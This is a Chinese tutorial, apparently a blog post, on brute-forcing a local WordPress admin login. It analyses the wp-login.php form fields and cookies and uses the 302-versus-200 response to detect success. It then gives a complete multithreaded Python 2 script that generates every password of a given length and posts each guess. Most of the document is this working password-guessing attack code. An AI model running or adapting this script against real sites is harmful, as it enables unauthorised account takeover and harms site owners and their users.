基于python的多线程暴破脚本

搭建了一个本地wordpress，写一个基于多线程异步I/O的暴力破解

1 测试

提交错误的表单数据时，查看请求参数

登录时发送的cookie

2 登录分析

经过多次测试，发现无论是输入正确的密码还是错误的密码，这些登录需要提交的参数是不会改变的。并且只要登录成功，服务器一定会返回包含sessionid的cookie。整理后的发送参数如下：

参数

log:用户名

pwd:密码

wp-submit:Log In（定值）

redirect_to:http://localhost/wordpress/wp-admin

test_cookie:1（定值）

Cookie

wordpress_test_cookie:WP Cookie check（定值）

3 思路分析

口令集：

暴力破解一般是使用口令字符的全部排列组合，所使用的口令集可使用itertool模块的笛卡尔积生成方法（product）来生成。当然这样计算开销比较大，适合口令长度比较小的情况。当然也可以使用字典，那么就可能需要结合用户信息定制字典。

数据结构：

使用队列来存储口令集是个很不错的选择，能够极大得降低数据读取的复杂性。

模拟登陆：

通过requests模块发送post请求，来模拟登陆，发送的参数与cookie依照上面的分析来发送即可。

登陆：

登陆失败，只是本地刷新，所以响应码200。登陆成功后，跳转到管理员后台，返回响应码302。

优化破解性能：

可使用异步I/O来进行破解过程的优化，待实现。

4 源码

# !/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
import sys
import itertools
import Queue
import threading
import time

class Bruter(object):
    def __init__(self, user, characters, pwd_len, threads):
        self.user = user
        self.found = False # 存放破解结果，破解成功为True，失败为False
        self.threads = threads
        print '构建待测试口令队列中...'
        self.pwd_queue = Queue.Queue()
        for pwd in list(itertools.product(characters, repeat=pwd_len)):
            self.pwd_queue.put(''.join(pwd))
        self.result = None
        print '构建成功!'

    def brute(self):
        for i in range(self.threads):
            t = threading.Thread(target=self.__web_bruter)
            t.start()
            print '破解线程-->%s 启动' % t.ident
        while (not self.pwd_queue.empty()): # 剩余口令集判断
            sys.stdout.write('\r 进度: 还剩余%s个口令 (每1s刷新)' % self.pwd_queue.qsize())
            sys.stdout.flush()
            time.sleep(1)
            print '\n破解完毕'

    def __login(self, pwd):
        url = 'http://localhost/wordpress/wp-login.php'
        values = {'log': self.user, 'pwd': pwd, 'wp-submit': 'Log In',
                  'redirect_to': 'http://localhost/wordpress/wp-admin', 'test_cookie': '1'}
        my_cookie = {'wordpress_test_cookie': 'WP Cookie check'}
        r = requests.post(url, data=values, cookies=my_cookie, allow_redirects=False) # 禁用重定向，以便后边判断登陆状态
        if r.status_code == 302: # 登陆状态判断
            return True
        return False

    def __web_bruter(self): # 破解子线程函数
        while not self.pwd_queue.empty() and not self.found:
            pwd_test = self.pwd_queue.get()
            if self.__login(pwd_test):
                self.found = True
                self.result = pwd_test
                print '破解 %s 成功，密码为: %s' % (self.user, pwd_test)
            else:
                self.found = False

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print '用法 : cmd [用户名] [密码字符] [密码长度] [线程数]'
        exit(0)
    b = Bruter(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv[4]))
    b.brute()
    print b.result